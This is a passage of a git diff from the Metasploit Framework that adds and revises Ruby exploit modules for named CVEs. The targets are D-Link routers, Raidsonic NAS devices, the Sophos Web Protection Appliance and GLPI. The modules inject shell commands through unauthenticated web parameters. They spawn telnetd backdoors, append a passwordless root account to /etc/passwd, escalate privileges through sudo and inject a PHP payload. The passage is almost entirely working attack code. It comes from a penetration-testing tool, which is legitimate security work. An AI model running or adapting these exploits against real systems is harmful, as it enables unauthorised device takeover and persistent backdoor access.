the telnetd gives no response request(cmd) - begin - print_status("#{rhost}:#{rport} - Trying to establish a telnet connection...") - sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i }) + print_status("#{rhost}:#{rport} - Trying to establish a telnet connection...") + ctx = { 'Msf' => framework, 'MsfExploit' => self } + sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i, 'Context' => ctx }) - if sock.nil? - fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!") - end - - print_status("#{rhost}:#{rport} - Trying to establish a telnet session...") - prompt = negotiate_telnet(sock) - if prompt.nil? - sock.close - fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to establish a telnet session") - else - print_good("#{rhost}:#{rport} - Telnet session successfully established...") - end - - handler(sock) - rescue - fail_with(Failure::Unknown, "#{rhost}:#{rport} - Could not handle the backdoor service") + if sock.nil? + fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!") end - return + add_socket(sock) + + print_status("#{rhost}:#{rport} - Trying to establish a telnet session...") + prompt = negotiate_telnet(sock) + if prompt.nil? + sock.close + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to establish a telnet session") + else + print_good("#{rhost}:#{rport} - Telnet session successfully established...") + end + + handler(sock) end def request(cmd) diff --git a/modules/exploits/linux/http/dlink_upnp_exec_noauth.rb b/modules/exploits/linux/http/dlink_upnp_exec_noauth.rb index 97a157bc45..fbbc7d2752 100644 --- a/modules/exploits/linux/http/dlink_upnp_exec_noauth.rb +++ b/modules/exploits/linux/http/dlink_upnp_exec_noauth.rb @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote - Rank = ExcellentRanking + Rank = AverageRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer @@ -22,11 +22,9 @@ class Metasploit3 < Msf::Exploit::Remote 'Description' => %q{ Different D-Link Routers are vulnerable to OS command injection in the UPnP SOAP interface. Since it is a blind OS command injection vulnerability, there is no - output for the executed command when using the CMD target. Additionally, two targets - are included, to start a telnetd service and establish a session over it, or deploy a - native mipsel payload. This module has been tested successfully on DIR-300, DIR-600, - DIR-645, DIR-845 and DIR-865. According to the vulnerability discoverer, - more D-Link devices may affected. + output for the executed command when using the CMD target. Additionally, a target + to deploy a native mipsel payload, when wget is available on the target device, has + been added. This module has been tested on DIR-865 and DIR-645 devices. }, 'Author' => [ @@ -56,12 +54,6 @@ class Metasploit3 < Msf::Exploit::Remote 'Platform' => 'unix' } ], - [ 'Telnet', #all devices - default target - { - 'Arch' => ARCH_CMD, - 'Platform' => 'unix' - } - ], [ 'Linux mipsel Payload', #DIR-865, DIR-645 and others with wget installed { 'Arch' => ARCH_MIPSLE, @@ -88,8 +80,6 @@ class Metasploit3 < Msf::Exploit::Remote if target.name =~ /CMD/ exploit_cmd - elsif target.name =~ /Telnet/ - exploit_telnet else exploit_mips end @@ -114,58 +104,6 @@ class Metasploit3 < Msf::Exploit::Remote return end - def exploit_telnet - telnetport = rand(65535) - - vprint_status("#{rhost}:#{rport} - Telnetport: #{telnetport}") - - cmd = "telnetd -p #{telnetport}" - type = "add" - res = request(cmd, type) - if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/) - fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") - end - type = "delete" - res = request(cmd, type) - if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/) - fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") - end - - begin - sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i }) - - if sock - print_good("#{rhost}:#{rport} - Backdoor service has been spawned, handling...") - add_socket(sock) - else - fail_with(Failure::Unknown, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!") - end - - print_status "Attempting to start a Telnet session #{rhost}:#{telnetport}" - auth_info = { - :host => rhost, - :port => telnetport, - :sname => 'telnet', - :user => "", - :pass => "", - :source_type => "exploit", - :active => true - } - report_auth_info(auth_info) - merge_me = { - 'USERPASS_FILE' => nil, - 'USER_FILE' => nil, - 'PASS_FILE' => nil, - 'USERNAME' => nil, - 'PASSWORD' => nil - } - start_session(self, "TELNET (#{rhost}:#{telnetport})", merge_me, false, sock) - rescue - fail_with(Failure::Unknown, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!") - end - return - end - def exploit_mips downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8)) diff --git a/modules/exploits/linux/http/dlink_upnp_exec_noauth_telnetd.rb b/modules/exploits/linux/http/dlink_upnp_exec_noauth_telnetd.rb new file mode 100644 index 0000000000..886917b445 --- /dev/null +++ b/modules/exploits/linux/http/dlink_upnp_exec_noauth_telnetd.rb @@ -0,0 +1,190 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'D-Link Devices UPnP SOAP Telnetd Command Execution', + 'Description' => %q{ + Various D-Link Routers are vulnerable to OS command injection in the UPnP SOAP + interface. This module has been tested successfully on DIR-300, DIR-600, DIR-645, + DIR-845 and DIR-865. According to the vulnerability discoverer, more D-Link devices + may be affected. + }, + 'Author' => + [ + 'Michael Messner ', # Vulnerability discovery and Metasploit module + 'juan vazquez' # minor help with msf module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'OSVDB', '94924' ], + [ 'BID', '61005' ], + [ 'EDB', '26664' ], + [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-020' ] + ], + 'DisclosureDate' => 'Jul 05 2013', + 'Privileged' => true, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Payload' => + { + 'Compat' => { + 'PayloadType' => 'cmd_interact', + 'ConnectionType' => 'find', + }, + }, + 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' }, + 'Targets' => + [ + [ 'Automatic', { } ], + ], + 'DefaultTarget' => 0 + )) + + register_options( + [ + Opt::RPORT(49152) #port of UPnP SOAP webinterface + ], self.class) + + register_advanced_options( + [ + OptInt.new('TelnetTimeout', [ true, 'The number of seconds to wait for a reply from a Telnet command', 10]), + OptInt.new('TelnetBannerTimeout', [ true, 'The number of seconds to wait for the initial banner', 25]) + ], self.class) + end + + def tel_timeout + (datastore['TelnetTimeout'] || 10).to_i + end + + def banner_timeout + (datastore['TelnetBannerTimeout'] || 25).to_i + end + + def exploit + @new_portmapping_descr = rand_text_alpha(8) + @new_external_port = rand(32767) + 32768 + @new_internal_port = rand(32767) + 32768 + telnetport = rand(32767) + 32768 + + vprint_status("#{rhost}:#{rport} - Telnetport: #{telnetport}") + + cmd = "telnetd -p #{telnetport}" + type = "add" + res = request(cmd, type) + if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/) + fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") + end + type = "delete" + res = request(cmd, type) + if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/) + fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") + end + + print_status("#{rhost}:#{rport} - Trying to establish a telnet connection...") + ctx = { 'Msf' => framework, 'MsfExploit' => self } + sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i, 'Context' => ctx }) + + if sock.nil? + fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!") + end + + add_socket(sock) + + print_status("#{rhost}:#{rport} - Trying to establish a telnet session...") + prompt = negotiate_telnet(sock) + if prompt.nil? + sock.close + fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to establish a telnet session") + else + print_good("#{rhost}:#{rport} - Telnet session successfully established...") + end + + handler(sock) + end + + def request(cmd, type) + + uri = '/soap.cgi' + + data_cmd = "" + data_cmd << "" + data_cmd << "" + + if type == "add" + vprint_status("#{rhost}:#{rport} - adding portmapping") + + soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping" + + data_cmd << "" + data_cmd << "#{@new_portmapping_descr}" + data_cmd << "" + data_cmd << "`#{cmd}`" + data_cmd << "1" + data_cmd << "#{@new_external_port}" + data_cmd << "" + data_cmd << "TCP" + data_cmd << "#{@new_internal_port}" + data_cmd << "" + else + #we should clean it up ... otherwise we are not able to exploit it multiple times + vprint_status("#{rhost}:#{rport} - deleting portmapping") + soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#DeletePortMapping" + + data_cmd << "" + data_cmd << "TCP#{@new_external_port}" + data_cmd << "" + end + + data_cmd << "" + data_cmd << "" + + begin + res = send_request_cgi({ + 'uri' => uri, + 'vars_get' => { + 'service' => 'WANIPConn1' + }, + 'ctype' => "text/xml", + 'method' => 'POST', + 'headers' => { + 'SOAPAction' => soapaction, + }, + 'data' => data_cmd + }) + return res + rescue ::Rex::ConnectionError + fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server") + end + end + + def negotiate_telnet(sock) + begin + Timeout.timeout(banner_timeout) do + while(true) + data = sock.get_once(-1, tel_timeout) + return nil if not data or data.length == 0 + if data =~ /\x23\x20$/ + return true + end + end + end + rescue ::Timeout::Error + return nil + end + end + +end diff --git a/modules/exploits/linux/http/raidsonic_nas_ib5220_exec_noauth.rb b/modules/exploits/linux/http/raidsonic_nas_ib5220_exec_noauth.rb new file mode 100644 index 0000000000..a4968da42a --- /dev/null +++ b/modules/exploits/linux/http/raidsonic_nas_ib5220_exec_noauth.rb @@ -0,0 +1,205 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ManualRanking # It's backdooring the remote device + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::CommandShell + include Msf::Exploit::FileDropper + + RESPONSE_PATTERN = "\ 'Raidsonic NAS Devices Unauthenticated Remote Command Execution', + 'Description' => %q{ + Different Raidsonic NAS devices are vulnerable to OS command injection via the web + interface. The vulnerability exists in timeHandler.cgi, which is accessible without + authentication. This module has been tested with the versions IB-NAS5220 and + IB-NAS4220. Since this module is adding a new user and modifying the inetd daemon + configuration, this module is set to ManualRanking and could cause target instability. + }, + 'Author' => + [ + 'Michael Messner ', # Vulnerability discovery and Metasploit module + 'juan vazquez' # minor help with msf module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'OSVDB', '90221' ], + [ 'EDB', '24499' ], + [ 'BID', '57958' ], + [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-010' ] + ], + 'DisclosureDate' => 'Feb 04 2013', + 'Privileged' => true, + 'Platform' => 'unix', + 'Payload' => + { + 'Compat' => { + 'PayloadType' => 'cmd_interact', + 'ConnectionType' => 'find', + }, + }, + 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' }, + 'Targets' => + [ + [ 'Automatic', { } ], + ], + 'DefaultTarget' => 0 + )) + + register_advanced_options( + [ + OptInt.new('TelnetTimeout', [ true, 'The number of seconds to wait for a reply from a Telnet command', 10]), + OptInt.new('TelnetBannerTimeout', [ true, 'The number of seconds to wait for the initial banner', 25]) + ], self.class) + end + + def tel_timeout + (datastore['TelnetTimeout'] || 10).to_i + end + + def banner_timeout + (datastore['TelnetBannerTimeout'] || 25).to_i + end + + def exploit + telnet_port = rand(32767) + 32768 + + print_status("#{rhost}:#{rport} - Telnet port: #{telnet_port}") + + #first request + cmd = "killall inetd" + cmd = Rex::Text.uri_encode(cmd) + print_status("#{rhost}:#{rport} - sending first request - killing inetd") + + res = request(cmd) + #no server header or something that we could use to get sure the command is executed + if (!res or res.code != 200 or res.body !~ /#{RESPONSE_PATTERN}/) + fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") + end + + #second request + inetd_cfg = rand_text_alpha(8) + cmd = "echo \"#{telnet_port} stream tcp nowait root /usr/sbin/telnetd telnetd\" > /tmp/#{inetd_cfg}" + cmd = Rex::Text.uri_encode(cmd) + print_status("#{rhost}:#{rport} - sending second request - configure inetd") + + res = request(cmd) + #no server header or something that we could use to get sure the command is executed + if (!res or res.code != 200 or res.body !~ /#{RESPONSE_PATTERN}/) + fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") + end + register_file_for_cleanup("/tmp/#{inetd_cfg}") + + #third request + cmd = "/usr/sbin/inetd /tmp/#{inetd_cfg}" + cmd = Rex::Text.uri_encode(cmd) + print_status("#{rhost}:#{rport} - sending third request - starting inetd and telnetd") + + res = request(cmd) + #no server header or something that we could use to get sure the command is executed + if (!res or res.code != 200 or res.body !~ /#{RESPONSE_PATTERN}/) + fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") + end + + #fourth request + @user = rand_text_alpha(6) + cmd = "echo \"#{@user}::0:0:/:/bin/ash\" >> /etc/passwd" + cmd = Rex::Text.uri_encode(cmd) + print_status("#{rhost}:#{rport} - sending fourth request - configure user #{@user}") + + res = request(cmd) + #no server header or something that we could use to get sure the command is executed + if (!res or res.code != 200 or res.body !~ /#{RESPONSE_PATTERN}/) + fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") + end + + print_status("#{rhost}:#{rport} - Trying to establish a telnet connection...") + ctx = { 'Msf' => framework, 'MsfExploit' => self } + sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnet_port.to_i, 'Context' => ctx }) + + if sock.nil? + fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!") + end + + add_socket(sock) + + print_status("#{rhost}:#{rport} - Trying to establish a telnet session...") + prompt = negotiate_telnet(sock) + if prompt.nil? + sock.close + fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to establish a telnet session") + else + print_good("#{rhost}:#{rport} - Telnet session successfully established...") + end + + handler(sock) + + end + + def request(cmd) + + uri = '/cgi/time/timeHandler.cgi' + + begin + res = send_request_cgi({ + 'uri' => uri, + 'method' => 'POST', + #not working without setting encode_params to false! + 'encode_params' => false, + 'vars_post' => { + "month" => "#{rand(12)}", + "date" => "#{rand(30)}", + "year" => "20#{rand(99)}", + "hour" => "#{rand(12)}", + "minute" => "#{rand(60)}", + "ampm" => "PM", + "timeZone" => "Amsterdam`#{cmd}`", + "ntp_type" => "default", + "ntpServer" => "none", + "old_date" => " 1 12007", + "old_time" => "1210", + "old_timeZone" => "Amsterdam", + "renew" => "0" + } + }) + return res + rescue ::Rex::ConnectionError + fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice") + end + end + + def negotiate_telnet(sock) + login = read_telnet(sock, "login: $") + if login + sock.put("#{@user}\r\n") + end + return read_telnet(sock, "> $") + end + + def read_telnet(sock, pattern) + begin + Timeout.timeout(banner_timeout) do + while(true) + data = sock.get_once(-1, tel_timeout) + return nil if not data or data.length == 0 + if data =~ /#{pattern}/ + return true + end + end + end + rescue ::Timeout::Error + return nil + end + end +end diff --git a/modules/exploits/linux/http/sophos_wpa_sblistpack_exec.rb b/modules/exploits/linux/http/sophos_wpa_sblistpack_exec.rb new file mode 100644 index 0000000000..c75ec0d054 --- /dev/null +++ b/modules/exploits/linux/http/sophos_wpa_sblistpack_exec.rb @@ -0,0 +1,117 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Sophos Web Protection Appliance sblistpack Arbitrary Command Execution', + 'Description' => %q{ + This module exploits a command injection vulnerability on Sophos Web Protection Appliance + 3.7.9, 3.8.0 and 3.8.1. The vulnerability exists on the sblistpack component, reachable + from the web interface without authentication. This module has been tested successfully + on Sophos Virtual Web Appliance 3.7.0. + }, + 'Author' => + [ + 'Francisco Falcon', # Vulnerability discovery and PoC + 'juan vazquez' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2013-4983' ], + [ 'OSVDB', '97029' ], + [ 'BID', '62263'], + [ 'EDB', '28175'], + [ 'URL', 'http://www.coresecurity.com/advisories/sophos-web-protection-appliance-multiple-vulnerabilities'] + ], + 'Platform' => ['unix'], + 'Arch' => ARCH_CMD, + 'Privileged' => false, + 'Payload' => + { + 'Space' => 1024, + 'DisableNops' => true, + 'BadChars' => "\x27\x22\x5c", + 'Compat' => + { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'generic netcat-e' # Because quotes and double-quotes aren't valid + } + }, + 'Targets' => + [ + [ 'Sophos Web Protection Appliance 3.7.0', { }] + ], + 'DefaultOptions' => + { + 'SSL' => true + }, + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Sep 06 2013' + )) + + register_options( + [ + Opt::RPORT(443) + ], + self.class + ) + + end + + def check + url = "http://www.#{rand_text_alpha(10 + rand(10))}.com" + domain = "http://#{rand_text_alpha(10 + rand(10))}.com" + res = send_exploit_query(url, domain) + + if res and res.code == 302 and res.headers.include?('Location') and res.headers['Location'] =~ /#{url}/ + return Exploit::CheckCode::Detected + else + return Exploit::CheckCode::Safe + end + end + + def exploit + print_status("#{rhost}:#{rport} - Executing payload...") + url = "http://www.#{rand_text_alpha(10 + rand(10))}.com" + domain = "http://#{rand_text_alpha(10 + rand(10))}.com;#{payload.encoded}" + # very short timeout because the request may never return if we're + # sending a socket payload + send_exploit_query(url, domain, 0.01) + end + + def send_exploit_query(url, domain, timeout = 20) + user = rand_text_alpha(8 + rand(5)) + res = send_request_cgi({ + 'uri' => normalize_uri('end-user', 'index.php'), + 'method' => 'POST', + 'vars_get' => { + 'c' =>'blocked', + 'action' => 'continue' + }, + 'vars_post' => { + 'url' => "#{Rex::Text.encode_base64(url)}", + 'args_reason' => rand_text_alpha(15 + rand(5)), + 'filetype' => rand_text_alpha(15 + rand(5)), + 'user' => user, + 'user_encoded' => "#{Rex::Text.encode_base64(user)}", + 'domain' => domain, + 'raw_category_id' => "#{rand_text_alpha(4 + rand(8))}|#{rand_text_alpha(4 + rand(8))}" + } + }, timeout) + + return res + end + +end diff --git a/modules/exploits/linux/local/hp_smhstart.rb b/modules/exploits/linux/local/hp_smhstart.rb index 34b87690cd..753aaa8881 100644 --- a/modules/exploits/linux/local/hp_smhstart.rb +++ b/modules/exploits/linux/local/hp_smhstart.rb @@ -7,7 +7,6 @@ require 'msf/core' require 'rex' -require 'msf/core/post/common' require 'msf/core/exploit/local/linux' require 'msf/core/exploit/exe' @@ -15,7 +14,6 @@ class Metasploit4 < Msf::Exploit::Local include Msf::Exploit::EXE include Msf::Post::File - include Msf::Post::Common include Msf::Exploit::Local::Linux diff --git a/modules/exploits/linux/local/kloxo_lxsuexec.rb b/modules/exploits/linux/local/kloxo_lxsuexec.rb index df8644659e..35a53e4e13 100644 --- a/modules/exploits/linux/local/kloxo_lxsuexec.rb +++ b/modules/exploits/linux/local/kloxo_lxsuexec.rb @@ -7,7 +7,6 @@ require 'msf/core' require 'rex' -require 'msf/core/post/common' require 'msf/core/exploit/local/linux' require 'msf/core/exploit/exe' @@ -15,7 +14,6 @@ class Metasploit4 < Msf::Exploit::Local include Msf::Exploit::EXE include Msf::Post::File - include Msf::Post::Common include Msf::Exploit::FileDropper include Msf::Exploit::Local::Linux diff --git a/modules/exploits/linux/local/sock_sendpage.rb b/modules/exploits/linux/local/sock_sendpage.rb index 9fbf89d5eb..09e5714078 100644 --- a/modules/exploits/linux/local/sock_sendpage.rb +++ b/modules/exploits/linux/local/sock_sendpage.rb @@ -7,9 +7,6 @@ require 'msf/core' require 'rex' -require 'msf/core/post/common' -require 'msf/core/post/file' -require 'msf/core/post/linux/priv' require 'msf/core/exploit/local/linux_kernel' require 'msf/core/exploit/local/linux' require 'msf/core/exploit/local/unix' @@ -25,7 +22,6 @@ class Metasploit4 < Msf::Exploit::Local include Msf::Exploit::EXE include Msf::Post::File - include Msf::Post::Common include Msf::Exploit::Local::LinuxKernel include Msf::Exploit::Local::Linux diff --git a/modules/exploits/linux/local/sophos_wpa_clear_keys.rb b/modules/exploits/linux/local/sophos_wpa_clear_keys.rb new file mode 100644 index 0000000000..0c85bd033e --- /dev/null +++ b/modules/exploits/linux/local/sophos_wpa_clear_keys.rb @@ -0,0 +1,97 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'rex' + +class Metasploit4 < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Exploit::EXE + include Msf::Post::File + + def initialize(info={}) + super( update_info( info, { + 'Name' => 'Sophos Web Protection Appliance clear_keys.pl Local Privilege Escalation', + 'Description' => %q{ + This module abuses a command injection on the clear_keys.pl perl script, installed with the + Sophos Web Protection Appliance, to escalate privileges from the "spiderman" user to "root". + This module is useful for post exploitation of vulnerabilities on the Sophos Web Protection + Appliance web ui, executed by the "spiderman" user. This module has been tested successfully + on Sophos Virtual Web Appliance 3.7.0. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Francisco Falcon', # Vulnerability discovery + 'juan vazquez' # Metasploit module + ], + 'Platform' => [ 'linux'], + 'Arch' => [ ARCH_X86 ], + 'SessionTypes' => [ 'shell', 'meterpreter' ], + 'Targets' =>[[ 'Linux x86', { 'Arch' => ARCH_X86 } ]], + 'References' => + [ + [ 'CVE', '2013-4984' ], + [ 'OSVDB', '97028' ], + [ 'BID', '62265' ], + [ 'URL', 'http://www.coresecurity.com/advisories/sophos-web-protection-appliance-multiple-vulnerabilities'] + ], + 'DefaultOptions' => + { + "PrependFork" => true, + "PrependSetresuid" => true, + "PrependSetresgid" => true + }, + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Sep 06 2013' + } + )) + + register_options([ + # These are not OptPath becuase it's a *remote* path + OptString.new("WritableDir", [ true, "A directory where we can write files", "/tmp" ]), + OptString.new("clear_keys", [ true, "Path to the clear_keys.pl vulnerable script", "/opt/cma/bin/clear_keys.pl" ]), + ], self.class) + end + + def check + if file?(datastore["clear_keys"]) + return CheckCode::Detected + end + + return CheckCode::Unknown + end + + def exploit + print_status("Checking actual user...") + id = cmd_exec("id -un") + if id != "spiderman" + fail_with(Failure::NoAccess, "The actual user is \"#{id}\", you must be \"spiderman\" to exploit this") + end + + print_status("Checking for the vulnerable component...") + if check != CheckCode::Detected + fail_with(Failure::NoTarget, "The vulnerable component has not been found") + end + + print_status("Dropping the payload to #{datastore["WritableDir"]}") + exe_file = "#{datastore["WritableDir"]}/#{rand_text_alpha(3 + rand(5))}.elf" + write_file(exe_file, generate_payload_exe) + + cmd_exec "chmod +x #{exe_file}" + + print_status("Running...") + begin + # rm the file after executing it to avoid getting multiple sessions + cmd_exec "sudo #{datastore["clear_keys"]} #{rand_text_alpha(4 + rand(4))} \";#{exe_file}; rm -f #{exe_file};\" /#{rand_text_alpha(4 + rand(4))}" + ensure + cmd_exec "rm -f #{exe_file}" + end + end +end + diff --git a/modules/exploits/linux/local/udev_netlink.rb b/modules/exploits/linux/local/udev_netlink.rb index c410fbef8c..e455558721 100644 --- a/modules/exploits/linux/local/udev_netlink.rb +++ b/modules/exploits/linux/local/udev_netlink.rb @@ -7,9 +7,6 @@ require 'msf/core' require 'rex' -require 'msf/core/post/common' -require 'msf/core/post/file' -require 'msf/core/post/linux/priv' require 'msf/core/exploit/local/linux_kernel' require 'msf/core/exploit/local/linux' require 'msf/core/exploit/local/unix' @@ -25,7 +22,6 @@ class Metasploit4 < Msf::Exploit::Local include Msf::Exploit::EXE include Msf::Post::File - include Msf::Post::Common include Msf::Exploit::Local::Linux include Msf::Exploit::Local::Unix diff --git a/modules/exploits/linux/local/vmware_mount.rb b/modules/exploits/linux/local/vmware_mount.rb index 83359a725b..e22ce4570b 100644 --- a/modules/exploits/linux/local/vmware_mount.rb +++ b/modules/exploits/linux/local/vmware_mount.rb @@ -7,13 +7,10 @@ require 'msf/core' require 'rex' -require 'msf/core/post/common' -require 'msf/core/post/file' class Metasploit4 < Msf::Exploit::Local include Msf::Exploit::EXE - include Msf::Post::Common include Msf::Post::File def initialize(info={}) @@ -43,6 +40,7 @@ class Metasploit4 < Msf::Exploit::Local 'DefaultOptions' => { "PrependSetresuid" => true, "PrependSetresgid" => true, + "PrependFork" => true, }, 'Privileged' => true, 'DefaultTarget' => 0, @@ -56,8 +54,6 @@ class Metasploit4 < Msf::Exploit::Local 'DisclosureDate' => "Aug 22 2013" } )) - # Handled by ghetto hardcoding below. - deregister_options("PrependFork") end def check @@ -73,22 +69,7 @@ class Metasploit4 < Msf::Exploit::Local fail_with(Failure::NotVulnerable, "vmware-mount doesn't exist or is not setuid") end - # Ghetto PrependFork action which is apparently only implemented for - # Meterpreter. - # XXX Put this in a mixin somewhere - # if(fork()) exit(0); - # 6A02 push byte +0x2 - # 58 pop eax - # CD80 int 0x80 ; fork - # 85C0 test eax,eax - # 7406 jz 0xf - # 31C0 xor eax,eax - # B001 mov al,0x1 - # CD80 int 0x80 ; exit - exe = generate_payload_exe( - :code => "\x6a\x02\x58\xcd\x80\x85\xc0\x74\x06\x31\xc0\xb0\x01\xcd\x80" + payload.encoded - ) - write_file("lsb_release", exe) + write_file("lsb_release", generate_payload_exe) cmd_exec("chmod +x lsb_release") cmd_exec("PATH=.:$PATH /usr/bin/vmware-mount") diff --git a/modules/exploits/linux/local/zpanel_zsudo.rb b/modules/exploits/linux/local/zpanel_zsudo.rb index ecfd552b2f..31373e4268 100644 --- a/modules/exploits/linux/local/zpanel_zsudo.rb +++ b/modules/exploits/linux/local/zpanel_zsudo.rb @@ -7,9 +7,6 @@ require 'msf/core' require 'rex' -require 'msf/core/post/common' -require 'msf/core/post/file' -require 'msf/core/post/linux/priv' require 'msf/core/exploit/exe' @@ -18,7 +15,6 @@ class Metasploit4 < Msf::Exploit::Local include Msf::Exploit::EXE include Msf::Post::File - include Msf::Post::Common def initialize(info={}) super( update_info( info, { diff --git a/modules/exploits/multi/http/glpi_install_rce.rb b/modules/exploits/multi/http/glpi_install_rce.rb new file mode 100644 index 0000000000..6e63e57c36 --- /dev/null +++ b/modules/exploits/multi/http/glpi_install_rce.rb @@ -0,0 +1,114 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ManualRanking # Application database configuration is overwritten + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'GLPI install.php Remote Command Execution', + 'Description' => %q{ + This module exploits an arbitrary command execution vulnerability in the + GLPI 'install.php' script. This module is set to ManualRanking due to this + module overwriting the target database configuration, which may introduce target + instability. + }, + 'Author' => + [ + 'Tristan Leiter < research[at]navixia.com >', # Navixia Research Team + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2013-5696' ], + [ 'URL', 'https://www.navixia.com/blog/entry/navixia-finds-critical-vulnerabilities-in-glpi-cve-2013-5696.html' ], + [ 'URL', 'http://www.glpi-project.org/forum/viewtopic.php?id=33762' ], + ], + 'Privileged' => false, + 'Platform' => ['php'], + 'Payload' => + { + 'Space' => 4000, + 'BadChars' => "#", + 'DisableNops' => true, + 'Keys' => ['php'] + }, + 'Arch' => ARCH_PHP, + 'Targets' => [[ 'GLPI 0.84 or older', { }]], + 'DisclosureDate' => 'Sep 12 2013', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The base path to GLPI', '/glpi/']) + ], self.class) + end + + def uri + return target_uri.path + end + + def check + # Check if the GLPI instance is vulnerable + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(uri, 'index.php'), + }) + + if not res or res.code != 200 + return Exploit::CheckCode::Safe + end + + re = '(version)(\\s+)(.*)(\\s+)(Copyright)' + m = Regexp.new(re, Regexp::IGNORECASE) + matched = m.match(res.body) + if matched and matched[3] =~ /0.(8[0-4].[0-1])|([0-7][0-9].[0-9])/ + print_good("Detected Version : #{matched[3]}") + return Exploit::CheckCode::Appears + elsif matched + print_error("Version #{matched[3]} is not vulnerable") + end + return Exploit::CheckCode::Safe + + end + + def exploit + print_status("Injecting the payload...") + rand_arg = Rex::Text.rand_text_hex(10) + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(uri, 'install/install.php'), + 'vars_post' => + { + 'install' => 'update_1', + 'db_host' => 'localhost', + 'db_user' => 'root', + 'db_pass' => 'root', + 'databasename' =>"'; } if(isset($_GET['#{rand_arg}'])){ #{payload.encoded} } /*" + } + }) + + unless res and res.code == 200 and res.body =~ /You will update the GLPI database/ + print_warning("Unexpected response while injecting the payload, trying to execute anyway...") + end + + print_status("Executing the payload...") + send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(uri, 'index.php'), + 'vars_get' => + { + rand_arg => 